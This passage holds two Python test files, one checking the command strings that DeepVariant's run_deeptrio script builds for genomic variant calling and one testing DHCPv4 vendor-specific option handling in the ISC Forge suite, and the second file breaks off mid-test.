# Copyright 2019 Google LLC. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from this # software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """Tests for deepvariant .run_deeptrio.""" import io from unittest import mock from absl import flags from absl.testing import absltest from absl.testing import flagsaver from absl.testing import parameterized import six from deepvariant.opensource_only.scripts import run_deeptrio FLAGS = flags.FLAGS # pylint: disable=line-too-long class RunDeeptrioTest(parameterized.TestCase): def _create_all_commands_and_check_stdout(self, expected_stdout=None): with mock.patch('sys.stdout', new_callable=io.StringIO) as mock_stdout: commands, postprocess_cmds = run_deeptrio.create_all_commands( '/tmp/deeptrio_tmp_output') # Confirm that these basic commands don't have extra messages printed out # to stdout. if expected_stdout is None: self.assertEmpty(mock_stdout.getvalue()) else: self.assertEqual(mock_stdout.getvalue(), expected_stdout) return commands, postprocess_cmds @parameterized.parameters('WGS', 'WES', 'PACBIO') @flagsaver.flagsaver def test_call_variants_postprocess_variants_commands(self, model_type): FLAGS.model_type = model_type FLAGS.ref = 'your_ref' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.output_gvcf_merged = 'your_gvcf_merged' FLAGS.num_shards = 64 commands, postprocess_cmds = self._create_all_commands_and_check_stdout() self.assertEqual( commands[1], 'time /opt/deepvariant/bin/call_variants ' '--outfile ' '"/tmp/deeptrio_tmp_output/call_variants_output_child.tfrecord.gz" ' '--examples "/tmp/deeptrio_tmp_output/make_examples_child.tfrecord@64.gz" ' '--checkpoint "/opt/models/deeptrio/{}/child/model.ckpt"'.format( model_type.lower())) self.assertEqual( commands[2], 'time /opt/deepvariant/bin/call_variants ' '--outfile ' '"/tmp/deeptrio_tmp_output/call_variants_output_parent1.tfrecord.gz" ' '--examples "/tmp/deeptrio_tmp_output/make_examples_parent1.tfrecord@64.gz" ' '--checkpoint "/opt/models/deeptrio/{}/parent/model.ckpt"'.format( model_type.lower())) self.assertEqual( commands[3], 'time /opt/deepvariant/bin/call_variants ' '--outfile ' '"/tmp/deeptrio_tmp_output/call_variants_output_parent2.tfrecord.gz" ' '--examples "/tmp/deeptrio_tmp_output/make_examples_parent2.tfrecord@64.gz" ' '--checkpoint "/opt/models/deeptrio/{}/parent/model.ckpt"'.format( model_type.lower())) self.assertEqual( postprocess_cmds[0], 'time /opt/deepvariant/bin/postprocess_variants ' '--ref "your_ref" ' '--infile ' '"/tmp/deeptrio_tmp_output/call_variants_output_child.tfrecord.gz" ' '--outfile "your_vcf_child" ' '--nonvariant_site_tfrecord_path ' '"/tmp/deeptrio_tmp_output/gvcf_child.tfrecord@64.gz" ' '--gvcf_outfile "your_gvcf_child"') self.assertEqual( postprocess_cmds[1], 'time /opt/deepvariant/bin/postprocess_variants ' '--ref "your_ref" ' '--infile ' '"/tmp/deeptrio_tmp_output/call_variants_output_parent1.tfrecord.gz" ' '--outfile "your_vcf_parent1" ' '--nonvariant_site_tfrecord_path ' '"/tmp/deeptrio_tmp_output/gvcf_parent1.tfrecord@64.gz" ' '--gvcf_outfile "your_gvcf_parent1"') self.assertEqual( postprocess_cmds[2], 'time /opt/deepvariant/bin/postprocess_variants ' '--ref "your_ref" ' '--infile ' '"/tmp/deeptrio_tmp_output/call_variants_output_parent2.tfrecord.gz" ' '--outfile "your_vcf_parent2" ' '--nonvariant_site_tfrecord_path ' '"/tmp/deeptrio_tmp_output/gvcf_parent2.tfrecord@64.gz" ' '--gvcf_outfile "your_gvcf_parent2"') self.assertLen(commands, 4) self.assertLen(postprocess_cmds, 3) @parameterized.parameters('WGS', 'WES', 'PACBIO') @flagsaver.flagsaver def test_duo_call_variants_postprocess_variants_commands(self, model_type): FLAGS.model_type = model_type FLAGS.ref = 'your_ref' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_merged = 'your_gvcf_merged' FLAGS.num_shards = 64 commands, postprocess_cmds = self._create_all_commands_and_check_stdout() self.assertEqual( commands[1], 'time /opt/deepvariant/bin/call_variants ' '--outfile ' '"/tmp/deeptrio_tmp_output/call_variants_output_child.tfrecord.gz" ' '--examples "/tmp/deeptrio_tmp_output/make_examples_child.tfrecord@64.gz" ' '--checkpoint "/opt/models/deeptrio/{}/child/model.ckpt"'.format( model_type.lower())) self.assertEqual( commands[2], 'time /opt/deepvariant/bin/call_variants ' '--outfile ' '"/tmp/deeptrio_tmp_output/call_variants_output_parent1.tfrecord.gz" ' '--examples "/tmp/deeptrio_tmp_output/make_examples_parent1.tfrecord@64.gz" ' '--checkpoint "/opt/models/deeptrio/{}/parent/model.ckpt"'.format( model_type.lower())) self.assertEqual( postprocess_cmds[0], 'time /opt/deepvariant/bin/postprocess_variants ' '--ref "your_ref" ' '--infile ' '"/tmp/deeptrio_tmp_output/call_variants_output_child.tfrecord.gz" ' '--outfile "your_vcf_child" ' '--nonvariant_site_tfrecord_path ' '"/tmp/deeptrio_tmp_output/gvcf_child.tfrecord@64.gz" ' '--gvcf_outfile "your_gvcf_child"') self.assertEqual( postprocess_cmds[1], 'time /opt/deepvariant/bin/postprocess_variants ' '--ref "your_ref" ' '--infile ' '"/tmp/deeptrio_tmp_output/call_variants_output_parent1.tfrecord.gz" ' '--outfile "your_vcf_parent1" ' '--nonvariant_site_tfrecord_path ' '"/tmp/deeptrio_tmp_output/gvcf_parent1.tfrecord@64.gz" ' '--gvcf_outfile "your_gvcf_parent1"') # pylint: disable=g-generic-assert self.assertLen(commands, 3) self.assertLen(postprocess_cmds, 2) @parameterized.parameters( ('WGS', '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" '), ('WES', '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--pileup_image_height_child "100" ' '--pileup_image_height_parent "100" '), ('PACBIO', '--add_hp_channel ' '--alt_aligned_pileup "diff_channels" ' '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--noparse_sam_aux_fields ' '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" ' '--pileup_image_width "199" ' '--norealign_reads ' '--nosort_by_haplotypes ' '--vsc_min_fraction_indels "0.12" ')) @flagsaver.flagsaver def test_make_examples_commands_with_types(self, model_type, extra_args_plus_gvcf): FLAGS.model_type = model_type FLAGS.ref = 'your_ref' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.output_gvcf_merged = 'your_gvcf_merged' FLAGS.num_shards = 64 commands, _ = self._create_all_commands_and_check_stdout() self.assertEqual( commands[0], 'time seq 0 63 ' '| parallel -q --halt 2 --line-buffer ' '/opt/deepvariant/bin/deeptrio/make_examples ' '--mode calling ' '--ref "your_ref" ' '--reads_parent1 "your_bam_parent1" ' '--reads_parent2 "your_bam_parent2" ' '--reads "your_bam_child" ' '--examples "/tmp/deeptrio_tmp_output/make_examples.tfrecord@64.gz" ' '--sample_name "your_sample_child" ' '--sample_name_parent1 "your_sample_parent1" ' '--sample_name_parent2 "your_sample_parent2" ' '%s' '--task {}' % extra_args_plus_gvcf) @parameterized.parameters( ('WGS', '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" '), ('WES', '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--pileup_image_height_child "100" ' '--pileup_image_height_parent "100" '), ('PACBIO', '--add_hp_channel ' '--alt_aligned_pileup "diff_channels" ' '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--noparse_sam_aux_fields ' '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" ' '--pileup_image_width "199" ' '--norealign_reads ' '--nosort_by_haplotypes ' '--vsc_min_fraction_indels "0.12" ')) @flagsaver.flagsaver def test_duo_make_examples_commands_with_types(self, model_type, extra_args_plus_gvcf): FLAGS.model_type = model_type FLAGS.ref = 'your_ref' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_merged = 'your_gvcf_merged' FLAGS.num_shards = 64 commands, _ = self._create_all_commands_and_check_stdout() self.assertEqual( commands[0], 'time seq 0 63 ' '| parallel -q --halt 2 --line-buffer ' '/opt/deepvariant/bin/deeptrio/make_examples ' '--mode calling ' '--ref "your_ref" ' '--reads_parent1 "your_bam_parent1" ' '--reads "your_bam_child" ' '--examples "/tmp/deeptrio_tmp_output/make_examples.tfrecord@64.gz" ' '--sample_name "your_sample_child" ' '--sample_name_parent1 "your_sample_parent1" ' '%s' '--task {}' % extra_args_plus_gvcf) @parameterized.parameters( (None, '--add_hp_channel ' '--alt_aligned_pileup "diff_channels" ' '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--noparse_sam_aux_fields ' '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" ' '--pileup_image_width "199" ' '--norealign_reads ' '--nosort_by_haplotypes ' '--vsc_min_fraction_indels "0.12" ', None), ('alt_aligned_pileup="rows",vsc_min_fraction_indels=0.03', '--add_hp_channel ' '--alt_aligned_pileup "rows" ' '--gvcf "/tmp/deeptrio_tmp_output/gvcf.tfrecord@64.gz" ' '--noparse_sam_aux_fields ' '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" ' '--pileup_image_width "199" ' '--norealign_reads ' '--nosort_by_haplotypes ' '--vsc_min_fraction_indels "0.03" ', '\nWarning: --alt_aligned_pileup is previously set to diff_channels, ' 'now to "rows".\n' '\nWarning: --vsc_min_fraction_indels is previously set to 0.12, ' 'now to 0.03.\n'), ) @flagsaver.flagsaver def test_pacbio_args_overwrite(self, make_examples_extra_args, expected_args, expected_stdout): """Confirms that adding extra flags can overwrite the default from mode.""" FLAGS.model_type = 'PACBIO' FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.num_shards = 64 FLAGS.regions = None FLAGS.make_examples_extra_args = make_examples_extra_args commands, _ = self._create_all_commands_and_check_stdout(expected_stdout) self.assertEqual( commands[0], 'time seq 0 63 | parallel -q --halt 2 --line-buffer ' '/opt/deepvariant/bin/deeptrio/make_examples --mode calling ' '--ref "your_ref" --reads_parent1 "your_bam_parent1" ' '--reads_parent2 "your_bam_parent2" ' '--reads "your_bam_child" ' '--examples "/tmp/deeptrio_tmp_output/make_examples.tfrecord@64.gz" ' '--sample_name "your_sample_child" ' '--sample_name_parent1 "your_sample_parent1" ' '--sample_name_parent2 "your_sample_parent2" ' '%s' '--task {}' % expected_args) @parameterized.parameters( (None, ('sort_by_haplotypes=true,parse_sam_aux_fields=true'), True), (True, ('sort_by_haplotypes=true,parse_sam_aux_fields=true'), False), ) @flagsaver.flagsaver def test_use_hp_information_conflicts(self, use_hp_information, make_examples_extra_args, has_conflict): """Confirms that PacBio use_hp_information can conflict with HP args.""" FLAGS.model_type = 'PACBIO' FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.num_shards = 64 FLAGS.regions = None FLAGS.use_hp_information = use_hp_information FLAGS.make_examples_extra_args = make_examples_extra_args if has_conflict: with six.assertRaisesRegex(self, ValueError, 'conflicts with other flags'): run_deeptrio.create_all_commands('/tmp/deeptrio_tmp_output') else: # Otherwise, the command should run without rasing errors. run_deeptrio.create_all_commands('/tmp/deeptrio_tmp_output') @parameterized.parameters('WGS', 'WES') @flagsaver.flagsaver def test_use_hp_information_only_with_pacbio(self, model_type): """Confirms use_hp_information only works for.""" FLAGS.model_type = model_type FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.num_shards = 64 FLAGS.regions = None FLAGS.use_hp_information = True with six.assertRaisesRegex( self, ValueError, '--use_hp_information can only be used with ' '--model_type="PACBIO"'): run_deeptrio.create_all_commands('/tmp/deeptrio_tmp_output') @parameterized.parameters( ('chr1:20-30', '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" ' '--regions "chr1:20-30"'), ('chr1:20-30 chr2:100-200', '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" ' '--regions "chr1:20-30 chr2:100-200"'), ("'chr1:20-30 chr2:100-200'", '--pileup_image_height_child "60" ' '--pileup_image_height_parent "40" ' "--regions 'chr1:20-30 chr2:100-200'"), ) def test_make_examples_regions(self, regions, expected_args): FLAGS.model_type = 'WGS' FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.num_shards = 64 FLAGS.regions = regions commands, _ = self._create_all_commands_and_check_stdout() self.assertEqual( commands[0], 'time seq 0 63 | parallel -q --halt 2 --line-buffer ' '/opt/deepvariant/bin/deeptrio/make_examples --mode calling ' '--ref "your_ref" --reads_parent1 "your_bam_parent1" ' '--reads_parent2 "your_bam_parent2" ' '--reads "your_bam_child" ' '--examples "/tmp/deeptrio_tmp_output/make_examples.tfrecord@64.gz" ' '--sample_name "your_sample_child" ' '--sample_name_parent1 "your_sample_parent1" ' '--sample_name_parent2 "your_sample_parent2" ' '%s ' '--task {}' % expected_args) @flagsaver.flagsaver def test_make_examples_extra_args_invalid(self): FLAGS.model_type = 'WGS' FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.num_shards = 64 FLAGS.make_examples_extra_args = 'keep_secondary_alignments' with six.assertRaisesRegex(self, ValueError, 'not enough values to unpack'): _, _ = run_deeptrio.create_all_commands('/tmp/deeptrio_tmp_output') @parameterized.parameters( ('batch_size=1024', '--batch_size "1024"'), ('batch_size=4096,' 'config_string="gpu_options: {per_process_gpu_memory_fraction: 0.5}"', '--batch_size "4096" ' '--config_string "gpu_options: {per_process_gpu_memory_fraction: 0.5}"'), ) @flagsaver.flagsaver def test_call_variants_extra_args(self, call_variants_extra_args, expected_args): FLAGS.model_type = 'WGS' FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.num_shards = 64 FLAGS.call_variants_extra_args = call_variants_extra_args commands, _ = self._create_all_commands_and_check_stdout() self.assertEqual( commands[1], 'time /opt/deepvariant/bin/call_variants ' '--outfile ' '"/tmp/deeptrio_tmp_output/call_variants_output_child.tfrecord.gz" ' '--examples "/tmp/deeptrio_tmp_output/make_examples_child.tfrecord@64.gz" ' '--checkpoint "/opt/models/deeptrio/wgs/child/model.ckpt" ' '%s' % expected_args) @parameterized.parameters( ('qual_filter=3.0', '--qual_filter "3.0"'),) @flagsaver.flagsaver def test_postprocess_variants_extra_args(self, postprocess_variants_extra_args, expected_args): FLAGS.model_type = 'WGS' FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.num_shards = 64 FLAGS.postprocess_variants_extra_args = postprocess_variants_extra_args _, commands_post_process = self._create_all_commands_and_check_stdout() self.assertEqual( commands_post_process[0], 'time /opt/deepvariant/bin/postprocess_variants ' '--ref "your_ref" ' '--infile ' '"/tmp/deeptrio_tmp_output/call_variants_output_child.tfrecord.gz" ' '--outfile "your_vcf_child" ' '--nonvariant_site_tfrecord_path ' '"/tmp/deeptrio_tmp_output/gvcf_child.tfrecord@64.gz" ' '--gvcf_outfile "your_gvcf_child" ' '%s' % expected_args) @parameterized.parameters( (True, 'vcf_stats_report=true', '--vcf_stats_report'), (True, 'vcf_stats_report=false', '--novcf_stats_report'), # These two cases demonstrate we might end up havig duplicated and # potentially conflicting flags when using *extra_args. (False, 'vcf_stats_report=true', '--novcf_stats_report --vcf_stats_report' ), (False, 'vcf_stats_report=false', '--novcf_stats_report --novcf_stats_report'), ) @flagsaver.flagsaver def test_postprocess_variants_duplicate_extra_args( self, vcf_stats_report, postprocess_variants_extra_args, expected_vcf_stats_report): FLAGS.model_type = 'WGS' FLAGS.ref = 'your_ref' FLAGS.sample_name_child = 'your_sample_child' FLAGS.sample_name_parent1 = 'your_sample_parent1' FLAGS.sample_name_parent2 = 'your_sample_parent2' FLAGS.reads_child = 'your_bam_child' FLAGS.reads_parent1 = 'your_bam_parent1' FLAGS.reads_parent2 = 'your_bam_parent2' FLAGS.output_vcf_child = 'your_vcf_child' FLAGS.output_vcf_parent1 = 'your_vcf_parent1' FLAGS.output_vcf_parent2 = 'your_vcf_parent2' FLAGS.output_gvcf_child = 'your_gvcf_child' FLAGS.output_gvcf_parent1 = 'your_gvcf_parent1' FLAGS.output_gvcf_parent2 = 'your_gvcf_parent2' FLAGS.num_shards = 64 FLAGS.vcf_stats_report = vcf_stats_report FLAGS.postprocess_variants_extra_args = postprocess_variants_extra_args _, commands_post_process = run_deeptrio.create_all_commands( '/tmp/deeptrio_tmp_output') self.assertEqual( commands_post_process[0], 'time /opt/deepvariant/bin/postprocess_variants ' '--ref "your_ref" ' '--infile ' '"/tmp/deeptrio_tmp_output/call_variants_output_child.tfrecord.gz" ' '--outfile "your_vcf_child" ' '--nonvariant_site_tfrecord_path ' '"/tmp/deeptrio_tmp_output/gvcf_child.tfrecord@64.gz" ' '--gvcf_outfile "your_gvcf_child" ' '%s' % expected_vcf_stats_report) if __name__ == '__main__': absltest.main()

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Python

tests/dhcpv4/options/test_v4_vendor_options.py

isc-projects/forge

dfec8b41003d6b5a229f69ee93616e0e5cc6d71b

[ "0BSD" ]

22

2015-02-27T11:51:05.000Z

2022-02-28T12:39:29.000Z

tests/dhcpv4/options/test_v4_vendor_options.py

isc-projects/forge

dfec8b41003d6b5a229f69ee93616e0e5cc6d71b

[ "0BSD" ]

16

2018-10-30T15:00:12.000Z

2019-01-11T17:55:13.000Z

tests/dhcpv4/options/test_v4_vendor_options.py

isc-projects/forge

dfec8b41003d6b5a229f69ee93616e0e5cc6d71b

[ "0BSD" ]

11

2015-02-27T11:51:36.000Z

2021-03-30T08:33:54.000Z

"""DHCPv4 vendor specific information""" # pylint: disable=invalid-name,line-too-long import pytest import srv_control import srv_msg import misc from forge_cfg import world @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vendor_encapsulated_space(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') srv_control.config_srv_custom_opt_space('vendor-encapsulated-options-space', 'foo', 1, 'uint16', 66) srv_control.config_srv_opt('vendor-encapsulated-options', '$(EMPTY)') srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(43) # option 43 should have suboption code: 1 length: 2 with value 66 (hex:42) srv_msg.response_check_option_content(43, 'value', 'HEX:01020042') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor @pytest.mark.private def test_v4_options_vendor_encapsulated_space_private_iPXE(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') srv_control.config_srv_custom_opt_space('APC', 'cookie', 1, 'string', 'global-value') srv_control.config_srv_custom_opt_space('PXE', 'mtftp-ip', 1, 'ipv4-address', '0.0.0.0') srv_control.create_new_class('APC') srv_control.add_test_to_class(1, 'test', 'option[vendor-class-identifier].text == \'APC\'') srv_control.add_test_to_class(1, 'option-def', {"name": "vendor-encapsulated-options", "code": 43, "type": "empty", "encapsulate": "APC"}) srv_control.add_test_to_class(1, 'option-data', {"name": "cookie", "space": "APC", "data": "1APC"}) srv_control.add_test_to_class(1, 'option-data', {"name": "vendor-encapsulated-options"}) srv_control.create_new_class('PXE') srv_control.add_test_to_class(2, 'test', 'option[vendor-class-identifier].text == \'PXE\'') srv_control.add_test_to_class(2, 'option-def', {"name": "vendor-encapsulated-options", "code": 43, "type": "empty", "encapsulate": "PXE"}) srv_control.add_test_to_class(2, 'option-data', {"name": "mtftp-ip", "space": "PXE", "data": "1.2.3.4"}) srv_control.add_test_to_class(2, 'option-data', {"name": "vendor-encapsulated-options"}) srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_does_include_with_value('vendor_class_id', 'PXE') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_include_option(43) # option 43 should have suboption code: 1 length: 4 with value(v4 address) 1.2.3.4 srv_msg.response_check_option_content(43, 'value', 'HEX:010401020304') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_does_include_with_value('vendor_class_id', 'APC') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_include_option(43) # option 43 should have suboption code: 1 length: 4 with value 1APC hex:31415043, entire option 43 has length 6 srv_msg.response_check_option_content(43, 'value', 'HEX:010431415043') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vivso_suboptions_mitel(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') option = [{"array": False, "code": 130, "encapsulate": "", "name": "mitel-option", "record-types": "", "space": "vendor-1027", "type": "string"}] my_class = [{"name": "VENDOR_CLASS_1027", "option-data": [{"name": "vivso-suboptions", "data": "1027"}, {"name": "mitel-option", "space": "vendor-1027", "data": "id:ipphone.mitel.com;sw_tftp=11.11.11.11;call_srv=10.10.10.10", "always-send": True}]}] world.dhcp_cfg["option-def"] = option world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(125) srv_msg.client_does_include_with_value('vendor_class_id', '1027') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(125) srv_msg.response_check_option_content(125, 'value', 'HEX:000004033F823D69643A697070686F6E652E6D6974656C2E636F6D3B73775F746674703D31312E31312E31312E31313B63616C6C5F7372763D31302E31302E31302E3130') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vendor_encapsulated_mitel(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', 